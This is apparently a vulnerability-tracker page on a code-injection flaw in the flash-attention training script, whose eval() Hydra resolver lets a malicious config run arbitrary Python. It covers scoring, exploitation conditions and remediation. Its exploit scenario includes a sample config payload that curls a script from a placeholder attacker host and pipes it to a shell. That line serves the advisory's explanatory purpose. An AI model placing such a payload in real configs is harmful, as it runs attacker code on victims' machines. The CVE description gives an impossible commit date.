Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft malicious Hydra config with ${eval:...} payload
-
DeliveryDeliver config via shared repo or file
-
ExploitVictim runs training script with config
-
Executioneval resolver executes Python at load
-
ImpactArbitrary code execution as training user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Eval input sanitization
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the victim to run the flash-attention training script with an attacker-controlled Hydra configuration file, and that config must contain the ${eval:...} interpolation syntax that triggers the registered eval resolver. The limiting factor is delivery and user interaction: the attacker cannot trigger this remotely against a running service - a victim must actively load the malicious config (e.g., a shared, downloaded, or repository-supplied YAML). It affects only deployments that ingest configuration from untrusted sources; environments that use only locally authored, reviewed configs are not exposed. Code runs with the privileges of the user launching the training job. |
| Impact | Signals conflict on real-world priority. The published CVSS is 7.3 with AV:N/AC:L/PR:N/UI:N, implying trivial remote unauthenticated exploitation, but the description makes clear the attack requires a victim to run the training script against an attacker-supplied configuration file - effectively local delivery plus user interaction, which the published vector does not capture. EPSS is only 0.02% (5th percentile) and there is no KEV listing and no known POC, indicating low likelihood of widespread opportunistic exploitation. SSVC records Exploitation: none but Automatable: yes with partial technical impact. The practical risk is a supply-chain/trust-boundary issue: dangerous only where untrusted configs are ingested (shared configs, downloaded experiment repos, multi-tenant training pipelines). Verify the vector with the vendor - CVSS network/no-UI scoring appears inconsistent with the description's 'provide a malicious configuration file' requirement. |
| Exploit ScenarioDerived | An attacker publishes a seemingly benign flash-attention experiment repository or shares a YAML training config containing a field like ${eval:__import__('os').system('curl attacker/x|sh')}. When a researcher runs the training script with that configuration, Hydra resolves the interpolation and executes the attacker's Python with the victim's privileges. No public POC is currently identified, and the attack complexity is low but depends on convincing the victim to use the malicious config. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 24, 2026
Arbitrary code execution in the flash-attention project's training script (up to commit e724e2588cbe754beb97cf7c011b5e7e34119e62) allows an attacker to run Python code by supplying a malicious Hydra configuration. The script registers Python's eval() as a Hydra resolver named 'eval', so any config value using the ${eval:...} syntax is executed when a victim launches training with that configuration. No public exploit has been identified and EPSS probability is very low (0.02%), but SSVC rates the flaw as automatable with partial technical impact.
RemediationAI
No vendor-released patch version is identified in the available data, and the fix boundary is expressed only as a commit hash. The concrete remediation is to remove the dangerous resolver registration: do not register Python's eval() as a Hydra resolver, or replace it with a safe evaluator such as ast.literal_eval or a restricted arithmetic parser, then update to a project revision after commit e724e2588cbe754beb97cf7c011b5e7e34119e62. As compensating controls until code is fixed, only run the training script with configuration files from trusted sources under version control, review any third-party or downloaded config for ${eval:...} interpolations before use, and run training jobs under a low-privilege account or sandbox/container so that code execution cannot pivot to broader infrastructure. Trade-off: disabling or replacing the eval resolver will break any legitimate configs that relied on computed ${eval:...} expressions, which must be rewritten. Reference the NVD advisory (https://nvd.nist.gov/vuln/detail/CVE-2026-31254) for tracking.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is the training harness built on Hydra/OmegaConf, a widely used configuration framework in Python ML projects. Hydra supports custom 'resolvers' that expand ${name:args} interpolations in YAML config files at load time; here the project registered Python's built-in eval() under the resolver name 'eval', so ${eval:<expr>} evaluates arbitrary Python during config resolution. The root cause is CWE-95 (eval injection), a subclass of the CWE-94 code-injection class cited in the NVD description - note the input references both CWE-94 (description) and CWE-95 (classification), which are consistent parent/child weaknesses. CPE data is unhelpful here (recorded as cpe:2.3:a:n/a:n/a:*), so the affected product must be identified from the description rather than the CPE dictionary.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Exploitation needs a victim to run training against an attacker-supplied config (AV:L, UI:R), but resulting arbitrary code execution yields full C/I/A on the host, unchanged scope.
Primary rating from NVD.
CVSS VectorNVD
Lifecycle Timeline
3DescriptionCVE.org
The flash-attention project thru commit e724e2588cbe754beb97cf7c011b5e7e34119e62 (2025-13-04) contains a code injection vulnerability (CWE-94) in its training script. The script registers the Python eval() function as a Hydra configuration resolver under the name eval. This allows configuration files to execute arbitrary Python code via the ${eval:...} syntax. An attacker can exploit this by providing a malicious configuration file, leading to arbitrary code execution when the training script is run with that configuration.
Executive ViewAI
Flash-attention training script contains a code execution vulnerability (CVSS 7.3) that could allow attackers to run unauthorized code during model training operations via malicious configuration files. With no public exploit identified at time of analysis and extremely low exploitation probability (0.02% EPSS), the primary risk is supply chain compromise of training configurations; organizations using externally-sourced or untrusted configuration sources face meaningful risk.
No vendor-released patch identified at time of analysis. Interim mitigations: implement configuration file cryptographic integrity verification (signing/hashing), restrict training configurations to internal sources only, disable the eval() resolver registration in Hydra if not essential to operations, execute training scripts in isolated sandboxed environments, and require code review of any external-source configurations before use.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
EUVD-2026-29101
GHSA-9hgr-qwgw-x8pp
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB